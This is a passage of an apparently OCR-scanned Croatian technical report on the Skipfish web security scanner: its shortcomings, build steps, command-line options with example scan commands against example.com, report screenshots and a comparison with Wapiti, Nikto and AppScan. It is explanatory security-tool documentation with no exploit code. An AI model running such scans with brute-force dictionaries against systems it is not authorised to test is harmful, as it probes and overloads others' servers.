
resursi kojima se ne moze pristupiti,

forme za postavljanje datoteka na posluZzitelj,

poveznice na nepoznate protokole,

forme za unos lozinki,

numeri¢ki nazivi datoteka koji se znaju koristiti za vanjske napade uzastopnim pokusavanjem,
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e opcenite informacije o SSL certifikatima,
e netocne ili nepostoje¢e MIME tipove uocene na manje zna¢ajnom sadrzaju,
e netocni ili nepostojedi skup znakova uocen na manje znacajnom sadrzaju.

3.2. Mane i problemi

Namjena Skipfisha nije da zamjeni komercijalne alate za provjeru i skeniranje sigurnosti web aplikacija.
To se ocituje po tome sto Skipfish ne zadovoljava mnoge kriterije koje je konzorcij za sigurnost web
aplikacija (WASC) postavio za takav tip alata. Spomenuti kriteriji su dostupni na sljedecoj poveznici:

‘ http://projects.webappsec.org/Web-Application-Security-Scanner-Evaluation-Criteria

U dokumentaciji samog alata istaknuto je par ucestalih problema te nacini njihova rjesavanja. Problemi
su sljededi:

1. Skeniranje predugo traje - potrebno je provijeriti broj poslanih HTTP zahtjeva u sekundi, ukoliko
je ispod 200 za skeniranje preko javne infrastrukture Interneta odnosno 1000 u lokalnoj mrezi,
problem lezi u tome $to se skenira spori posluzitelj. Takoder, preporuca se koristenje opcija ,—
m” i ,-Y” za ubrzavanje rada skenera te upotreba manjeg rjecnika koji se koristi za simulaciju
napada uzastopnim pokusavanjem. Moze se dogoditi da Skipfish pregledava neku nesuvislu
poveznicu te zbog toga bude dugi period vremena zablokiran. Lokacija koju trenutno skenira
moze se provijeriti pritiskom tipke Enter na tipkovnici te se rad alata, u sluc¢aju prethodno
opisane situacije, moze obustaviti kombinacijom tipki Ctrl-C. Takoder, preporuca se koristenje

opcija ,-X" i ,~I" kako bi se alatu dala lista statickog web sadrzaja kojeg nema potrebe
provjeravati simulacijom napada uzastopnog pokusavanja te se na taj nac¢in dobiva na brzini
rada alata.

2. Skeniranje preopterecuje ciljni posluZitelj - preporucuje se smanjivanje broja ostvarenih
istovremenih TCP (eng. Transmission Control Protocol) konekcija koristenjem parametra ,—m”.
Ukoliko je posluzitelj i dalje preopterecen, preporuca se koristenje alata Trickle za ograni¢avanje
prijenosnog pojasa kojeg koristi Skipfish.

3. Direktorij s izlaznim rezultatima skeniranja zauzima veliku koli¢inu diskovnog prostora — Skipfish
u izlazni direktorij u svrhu dokumentiranja svog rada sprema listu svih ranjivosti koje je
pronasao, sve bitne HTTP zahtjeve i odgovore koje je uocio te kopije svih datoteka koje je otkrio.
Takoder, u memoriji izraduje privremeni zapis svih dokumenata koje je skenirao. Pretpostavljena
maksimalna veli¢cina svakog takvog privremenog uzorka je 200 kB. Ukoliko je Skipfish
pretrazivao web stranicu koja sadrzi 30000 video zapisa, veli¢ina privremenog zapisa moze biti
reda veli¢cine nekoliko GB. To se moze izbjeci koristenjem opcije ,—I” kojom se skeniranje
ograni¢ava na interesantne dinamicke lokacije na posluzitelju te opcijom ,—-X" kojom se iz
skeniranja isklju€uju stranice sa statickim sadrzajem. Takoder, moze se koristiti opcija ,—-s" za
kontrolu maksimalne veli¢ine pojedinog privremenog zapisa.

Kriticari alat istovremeno hvale i kritiziraju. Hvale idu na racun bogatstva moguc¢nosti samog alata,
pocevsi od upravljanja kolaci¢ima, procesiranja autentifikacijskih detalja i vrijednosti varijabli HTML formi
te koriStenja oznake pojedine sjednice za pregled skenirane web stranice u svojstvu identificiranog
korisnika. Kao specijalnost alata istice se mogucénost prolaska kroz sve datoteke i direktorije na
posluzitelju u svrhu pronalaska arhiva skripti koje je administrator sustava zaboravio odstraniti,
kompresiranih arhiva citavih web aplikacija ili subversion/SSH konfiguracijskih datoteka koje su slucajno
ostale u sustavu. To se ostvaruje uparivanjem svih mogucih kombinacija uocenih naziva datoteka na
sustavu i svih poznatih datote¢nih ekstenzija. Takoder, hvali se ¢injenica da alat koristi odredeni skup
klju¢nih rijeci, koji je vjerojatno izvucen iz indeksa Googleove trazilice, te ih kombinira zajedno sa svim
poznatim ekstenzijama datoteka i otkrivenim nazivima datoteka na skeniranoj web aplikaciji, na nacin da
izra¢cunava sve moguce njihove kombinacije. Dobivene rezultate koristi u simuliranju napada
uzastopnim pokusavanjem kao imena datoteka, direktorija ili argumenata HTTP POST zahtjeva. Ovakav
pristup moze generirati velik broj mogucih kombinacija pa se umjesto njega cesto koriste unaprijed
definirani rje¢nici dostupni u vise razlicitih verzija koje se razlikuju po svojoj velic¢ini.

Kritike su upucene na racun rada alata te generiranog izvje$taja kao rezultata njegovog rada. Cesto
skeniranje predugo traje, pogotovo ako se koristi skeniranje uz koristenje unaprijed definiranog rjec¢nika,
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te je poprilican problem ¢injenica da ne postoji indikator koji bi dao do znanja korisniku koliko dugo ¢e
trajati pojedino skeniranje. Takoder, skeniranje moze preopteretiti racunalo na kojem se alat izvr3ava, ali i
posluzitelj koji je odrediste skeniranja. Ujedno moze generirati veliku koli¢inu mreznog prometa te
konacni izvjeStaj moze zauzeti poprilicnu koli¢cinu memorije ra¢unala na kojem se Skipfish izvrsava.
Zamjera mu se da u rezultatima Cesto donosi lazne uzbune odnosno prijavljuje lazne ranjivosti i
probleme. Uoceno je da ne zna upravljati klasi¢cnim HTML formama generiranim pomocu skriptnog
jezika Perl Sto rezultira nemoguc¢noscu njihovog testiranja automatskim popunjavanjem. No, zato
ispravno uocava forme koje nisu zasticene od CSRF napada. Bitna zamjerka je Cinjenica da izvjestaj o
otkrivenim ranjivostima nije dostupan tijekom skeniranja (nije interaktivan), ve¢ se generira tek nakon
sto je skeniranje zavrsilo ili je prekinuto od strane korisnika. Drugim rije¢ima, ne postoji nacin kojim bi
korisnik mogao tijekom procesa skeniranja otkriti koje je dosad ranjivosti sustava otkrio Skipfish. Alat u
trenutnom obliku ima vrlo limitiranu profesionalnu primjenu. Rezultati skeniranja sadrze gomilu razli¢itih
izvjeStaja pa se njihovo detaljno analiziranje pretvara u poprilicno zahtjevan zadatak. Nadalje, opis
pojedinih rezultata skeniranja odnosno ranjivosti ¢esto je vrlo apstraktan i dvosmislen pa otkrivanje
uzro¢nika pojedinih problema moze poprilicno potrajati. Iz navedenih razloga, koristenje Skipfisha nije
prikladno za brze provjere sigurnosti web aplikacije i ne preporuca se kao alat za manje stru¢ne korisnike
jer ¢e u takvim slucajevima izazvati nepotrebnu paniku umjesto pruzanja dodatne sigurnosti.

3.3. Nacin koristenja alata

Skipfish radi na svim poznatijim operacijskim sustavima. Preciznije, ima podrsku za Linux, FreeBSD,
MacOS X i Windows (u sklopu Cygwin okruZenja) okolinu. Instalacija alata podrazumijeva preuzimanje
arhive programa sa sljedec¢e poveznice:

http://code.google.com/p/skipfish/downloads/list

Potom je potrebno preuzetu arhivu raspakirati i kompajlirati pomocu sljedecih naredbi:

$ tar —xrf skipfish-1.52b.tgz
$ make

Ukoliko se pri izvodenju naredbe make pojavljuju greske odnosno kompaijliranje nije uspjelo, to znaci da
nije u potpunosti uspostavljeno okruzenje za kompajliranje alata, odnosno da na racunalu nisu
instalirane sve potrebne komponente. U tom slucaju potrebno je provjeriti jesu li na sustavu instalirane
sljedece komponente (i po potrebi ih instalirati):

e GNU C Compiler - skup prevoditelja razlic¢itih programskih jezika poput jezika C, C#, C++, Java,
Fortran, Pascalisl.,

e  GNU Make - alat koji iz izvornog koda automatski kreira izvrSne programe,
e GNU ClLibrary - standardna biblioteka programskog jezika C,
e Zlib - programska biblioteka koja se koristi za kompresiju podataka,

e OpenSSL - implementacija SSL (eng. Secure Sockets Layer) i TLS (eng. Transport Layer Security)
protokola u obliku otvorenog koda,
e libidn - biblioteka koja kodira i dekodira imena domena.

Potom je potrebno odabrati rje¢nik kojeg ¢e Skipfish koristiti pri svom radu. Svi rje¢nici se nalaze u
direktoriju ,dictionaries”. Odabrani rjecnik potrebno je kopirati iz navedenog direktorija u direktorij u
kojem se nalazi datoteka ,skipfish.wl” te je potrebno biti pozicioniran u tom direktoriju pri samom
pokretanju alata.

Alat se pokrece iz komandne linije koristenjem sljedece naredbe opéenitog oblika:

-/skipfish <-opcija> <parametar opcije> <URL web aplikacije koja se
skenira>

Bitno je naglasiti da se opcije mogu nadodavati jedna iza druge u proizvoljnom broju i redoslijedu.
Skipfish je bogat razli¢itim opcijama koje mogu olaks3ati Zivot korisnicima te omogucditi da rad alata
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odnosno skeniranje odredene stranice bude u potpunosti prilagodenom njihovim potrebama i Zeljama.
Od navedenih opcija ovdje su spomenute samo najvaznije:

Revizija 1.05

-0 - izlazni direktorij alata u koji se pohranjuju svi rezultati skeniranja web aplikacije.

-A - koristi se ukoliko skenirana web aplikacija zahtjeva autentifikaciju korisnika. Primjer
uporabe:

./skipfish —A korisnicko_ime:lozinka ...ostali parametri...

-C - vrlo sli¢na primjena kao i kod opcije —A samo $to se ovdje radi o pruzanju sjedni¢kog
kolaci¢a potrebnom za identifikaciju na posluzitelju.

-X - koristi se za navodenje URL-ova koje Skipfish ne treba skenirati, odnosno treba preskociti
pri svom radu. Na taj nacin se moze ubrzati rad alata. Pri koristenju ove akcije gotovo uvijek se
navodi poveznica koja sluzi za odjavljivanje iz web aplikacije kako se alat ne bi odjavio s
aplikacije pri radu jer time ne bi mogao adekvatno testirati sve stranice koje zahtjevaju
identifikaciju korisnika. Primjer uporabe:

./skipfish —X /logout/logout.aspx ...ostali parametri...

-I - opcija suprotnog znac¢enja od opcije =X. Navodi Skipfishu eksplicitnu listu URL-ova koje
treba skenirati.

-D - opcija koja omoguc¢ava nadodavanje novih hostova ili domena u postupak skeniranja sto
znaci da ce koristenjem te opcije Skipfish analizirati vise razli¢itih lokacija. Primjer uporabe:

-/skipfish -D test2.example.com —o
izlazni_direktorijhttp://testl._example.com/

-b - opcija pomocu koje Skipfish moze generirati HTTP zahtjeve kakve generiraju preglednici
poput Firefoxa (parametar ffox) ili Internet Explorera (parametar ie). Primjer uporabe:

-/skipfish —-b ie http://www.example.com/

-H - koristi se za nadodavanje nestandardnih zaglavlja u HTTP zahtjeve.
-d - ograni¢ava se dubina skeniranja na odredeni broj poddirektorija.

- - ograni¢ava se broj sveukupnih HTTP zahtjeva koji se mogu poslati unutar jednog
skeniranja.

-p - odredivanje detaljnosti skeniranja odnosno koliko posto (od 0 do 100) od svih dostupnih
poveznica, datoteka i direktorija na skeniranoj web aplikaciji ¢e Skipfish pregledati.

-P - zabranjuje se svaki oblik HTML parsiranja, ograni¢ava se detaljnost pregleda i moguénost
ucenja novih klju¢nih rijeci, ali se ubrzava rad alata.

-0 - zabranjuje se parsiranje svih formi i njihovo automatsko popunjavanje.

-U - Skipfishu se nareduje da u svoj dnevnik biljeZi sve vanjske adrese elektroni¢ke poste ili
HTTP poveznice na koje naide na skeniranoj stranici.

-W - opcija kojom se izbjegava koristenje unaprijed definiranih rje¢nika, ve¢ se umjesto njih
koristi proizvoljna (od strane korisnika definirana) lista kljucnih rijeci.

-L - onemogucuje se automatsko ucenje.
-V - onemoguduje se osvjezavanje rje¢nika.
-T - koristi se za eksplicitno definiranje na¢ina automatskog popunjavanja polja formi.

-g - odreduje se sveukupni broj TCP konekcija koje Skipfish smije uspostaviti tijekom pojedinog
skeniranja.
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e -M - odreduje se broj TCP konekcija po pojedinoj IP adresi koje Skipfish smije uspostaviti

tijekom pojedinog skeniranja, primjer uporabe:

-/skipfish —m 5 http://www.example.com/

e -t - definira se vrijeme u sekundama u kojem Skipfish treba odaslati sve potrebne HTTP zahtjeve

te Cekati na potrebne HTTP odgovore.

e -f - odreduje maksimalni broj uzastopnih HTTP gresaka koje se mogu pojaviti prije nego

Skipfish odustane od trenutnog skeniranja.

e  -S - definira maksimalnu veli¢inu HTTP odgovora kojeg alat moZe primiti i parsirati.

gkﬁg@@ i¢l

Crawl results - click to expand:

o

le: 200, length

http:fiwww.example.com/ @3 ©72 @10 Q45 <0176

15563, declared: text/html, detected: application fxhtml+xml, charset

is0-88509-1 [ show trace + |

Slika 1. Izvjesce alata Skipfish - skenirana aplikacija i pronadeni tipovi ranjivosti

Ukoliko se Zeli pokrenuti standardno detaljno skeniranje, kod s kojim se pokrece alat trebao bi izgledati

otprilike ovako:

./skipfish -U —C ,,autentifikacijski_kolacic=vrijednost®“ —X
/logout.aspx —o izlazni_direktorij http://www.example.com/

Ako se pak Zeli ostvariti brzo skeniranje, Skipfish se moze pokrenuti sljede¢om naredbom:

./skipfish —-m 5 —LV —W /dev/null —o izlazni_direktorij —b ie
http://www._example.com/

Document type overview - click to expand:

application/javascript (9)
application/xhtml+xml &)
image/gif (11)

image/png (1)

text/ess (2)

text/html (=)

text/xml (5)

Slika 2. Izvjesc¢e alata Skipfish - popis pronadenih dokumenata
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U konacnici Skipfish generira izvjeS¢e o svom radu u obliku HTML datoteke koja se moze otvoriti u
pregledniku (slike 1., 2. i 3.). IzvjeS¢e sadrzi listu ranjivosti visokog, srednjeg i niskog rizika, upozorenja i
informativne zapise (svaki predstavljen putem okruglog znaka posebne boje). Takoder, izvjesc¢e sadrzi
popis svih dokumenata, grupiranih po tipu, na koje je alat naisao pri svom radu te kratak opis svih

problema na koje je naisao.

Issue type overview - click to expand:
@ SQL injection vector (1)

@ Incorrect caching directives (higher risk) ()

) Incorrect or missing charset (higher risk) (3

© Incorrect or missing MIME type (higher rirsk) (ss)
@ Response varies randomly, skipping injection checks (=)
@ Resource fetch failed (=)

@ Numerical filename - consider enumerating (12)

@ Incorrect or missing charset (low risk) (5

@ HTML form found (4

© Unknown form field (can't autocomplete) (=)

) Server error triggered (2)

@ Resource not directly accessible (2)

@ New 404 signature seen ()

) New 'X-*'header value seen (1)

@ New 'Server' header value seen (1)

) New HTTP cookie added (1)

Slika 3. Izvjesce alata Skipfish - kratak opis pronadenih prijetnji
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3.4. Usporedba s drugim WAS alatima

Google je sa Skipfishom, po obicaju, usao na izuzetno napuceno i konkurentno trziste. Naime, uz Skipfish
postoji ¢itav niz drugih alata za provjeru sigurnosti web aplikacija koji su, po svojim mogucénostima,
poprilicno sli¢ni Skipfishu. Ovo potpoglavlje donosi kratku usporedbu izmedu Skipfisha s tri konkurentna

alata. Usporedba je prikazana u tablici 1.

Skipfish Wapiti Nikto Rational AppScan
podrzane Windows, Linux, Windows, Linux, Windows, Windows
platforme MacOS X, FreeBSD MacOS X, FreeBSD Linux, MacOS X,

FreeBSD
tip alata alat otvorenog koda alat otvorenog koda  alat otvorenog komercijalni
koda
nacin putem komandne putem komandne putem putem grafickog
upravljanja linije linije komandne sucelja
alatom linije

specifi¢nost
alata u odnosu
na ostale

ne zadovoljava mnoge
kriterije koje je
konzorcij za sigurnost
web aplikacija
postavio za aplikacije
takvog tipa, nema

kao i Skipfish nema
vlastitu bazu
poznatih ranjivosti,
ali koristi Niktovu u
najnovijoj inacici
alata

koristi vlastitu
bazu poznatih
ranjivosti

izrazito detaljno
izlazno izvjesce koje
korisniku nudi
potencijalna
rjeSenja pronadenih
problema

vlastitu bazu podataka
poznatih ranjivosti
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Tablica 1. Usporedba WAS alata

Konacni zaklju¢ak usporedbe bi bio da pri odabiru alata korisnik mora utvrditi kakve su njegove potrebe,
mogucnosti i navike te s obzirom na to odabrati alat koji mu najvise odgovara jer u konacnici ¢e svaki od
njih kvalitetno izvrsiti svoj posao. Ukoliko korisnik radi za bogatu firmu kojoj treba kvalitetno izvjes¢e o
sigurnosti web aplikacija, koristit ¢e komercijalni AppScan. Njega ce koristiti i u slu¢aju da nije navikao na
rad u komandnoj liniji. Ako pak preferira komandnu liniju pred grafickim suceljem i nema novaca za
placanje licenci, okrenut ce se alatima otvorenog koda. U svakom slucaju, najbolje je isprobati sve alate i
utvrditi koji od njih daje najbolje rezultate te omogucuje najbrzi i najjednostavniji rad.

3.5. Buduénost

S obzirom da je alat relativno kratko na trzistu (objavljen 18.3.2010.) te da se radi o proizvodu tvrtke
Google, nema sumnje da ¢e u buduénosti biti u najmanju ruku konkurentan na podru¢ju alata za
provjeru sigurnosti web aplikacija, ako ne i dominantan. Trenutno postoji velik broj razli¢itih sigurnosnih
ranjivosti web aplikacija, a s daljnjim razvojem WWW-a, tehnologija za izradu web aplikacija i porastom
aktivnih web stranica taj broj ¢e samo rasti. Zbog toga je potreban alat koji ¢e dizajnerima i
programerima omoguciti jednostavnu i brzu provjeru ranjivosti njihove web aplikacije na najucestalije
napade. Tu u igru ulazi Skipfish koji ve¢ sad omogucuje provjeru raznih ranjivosti, a u budué¢nosti c¢e
popis napada koje provjerava samo rasti. Klju¢ u razvoju Skipfisha je ¢injenica da je njegov izvorni kod
otvoren (engl. open source) 5to znaci da se ne¢e samo intenzivno razvijati unutar tvrtke Google ve¢ da ga
i zajednica zadovoljnih korisnika moze unaprjedivati i prilagodavati svojim potrebama. Na tu ¢injenicu
Google ozbiljno racuna, $to se vidi po listi postoje¢ih nedostataka i planiranih unaprjedenja koja je
objavljena na web stranici alata i putem koje se otvoreno poziva zajednicu da sudjeluje u unaprjedenju
alata.

Iz liste planiranih unaprjedenja mogu se izdvojiti sljedeca:

e provjera prekorac¢enja meduspremnika - trenutno se smatra da ne postoji pouzdan nacin za
udaljenu provjeru ovog napada odnosno da takva provjera ne izazove pojavu iznimki ili veci
broj poruka o greskama,

e podrika za samostalnu instalaciju $to za odredene Unix/Linux distribucije predstavlja podrsku za
make install naredbu,
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opcija za nastavak skeniranja,
implementacija specifi¢nijih PHP (eng. Hypertext Preprocessor)testova (eval injection, RFI),
podrska za konfiguracijsku datoteku alata,

implementacija opcije za ograni¢avanje uzorkovanja dokumenata ili za spremanje uzoraka
direktno u trajnu memoriju,

potpuna podrska za otkrivanje napada umetanjem aktivnih skripti izvrSenog putem skriptnog
jezika JavaScript — postoje osnovne provjere u trenutnom kodu alata, no ne postoji kvalitetan
skriptni kod za procjenu izraza i ugradenog DOM pristupa,

podrska za proxy posluzitelje - trenutno nije kompatibilna sa znacajkama za kontrolu
performansi alata, no vjerojatno ¢e u buducnosti biti ostvarena kao opcija koja ce se koristiti
kada sve ostale opcije ne prolaze,

sigurnosne provjere i izvlatenje poveznica iz elemenata web aplikacija koji su ostvareni u obliku
dodataka (npr. Javalili Flash),

integracija za trazilice (virtualni hostovi, pocetne putanje) i

testovi za napad uzastopnim pokusavanjem usmjeren na lozinke i numericke nazive datoteka.
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4, Zakljucak

S razvojem Interneta odnosno World Wide Weba uvisestrucio se broj dostupnih web aplikacija, a time je
napredovao i postupak izrade web stranica odnosno tehnologija pomocu kojih se iste izraduju. Vecina
danasnjih stranica ima malu koli¢inu statickog sadrzaja te dominira dinamicki sadrzaj koji je izuzetno ranjiv i
pogodan za razli¢ite oblike napada. Medu spomenutim napadima najucestalija su razli¢éita umetanja
zlonamjernog koda poput napada umetanjem SQL koda, XML koda ili Xpath, XSS napada te napada
umetanjem naredbi ljuske operacijskog sustava. Kao prijetnje visokog rizika jo$ vrijedi istaknuti CSRF napad ,
napad koriStenjem znakova za formatiranje ispisa te napade koji uzrokuju cjelobrojno prepisivanje ili
prepisivanje memorijskog spremnika .

Zbog svih opisanih sigurnosnih ranjivosti, medu dizajnerima i programerima podigla se svijest o vaznosti
odrzavanija sigurnosti njihovih web aplikacija. Kako bi im se olaksalo utvrdivanje sigurnosti njihovih aplikacija
stvoreni su alati za provjeru sigurnosti web aplikacija poput Wapitija, Nikta i mnogih drugih. Najnoviji medu
njima je Skipfish. Kao i njegova konkurencija, di¢i se detaljnim skeniranjem web aplikacija u potrazi za
najpoznatijim i najopasnijim sigurnosnim ranjivostima. Pokrece se iz komandne linije uz mnostvo razlicitih
opcija za prilagodbu detaljnosti, kvalitete i trajanja skeniranja te radi na svim popularnim platformama, a
rezultate svog rada korisniku prezentira u obliku HTML izvjestaja. No, Skipfish nije savrsen, ima svojih mana
medu kojima se Cesto isticu dugotrajan proces skeniranja, suvise detaljan izvjestaj da bi ga nestrucni korisnik
razumio, a istovremeno sadrzi dvosmislene i nedovoljno detaljne opise problema koji vise odmazu nego
pomazu profesionalnom korisniku.

Sve u svemu, Skipfish je kvalitetan alat koji ima mnogo prostora za napredak, a s obzirom da iza njega stoji
tvrtka Google, sto alatu otvorenog koda jamd¢i velik broj entuzijasti¢nih razvijatelja iz zajednice korisnika,
nema sumnje da ga ¢eka svijetla buduénost.
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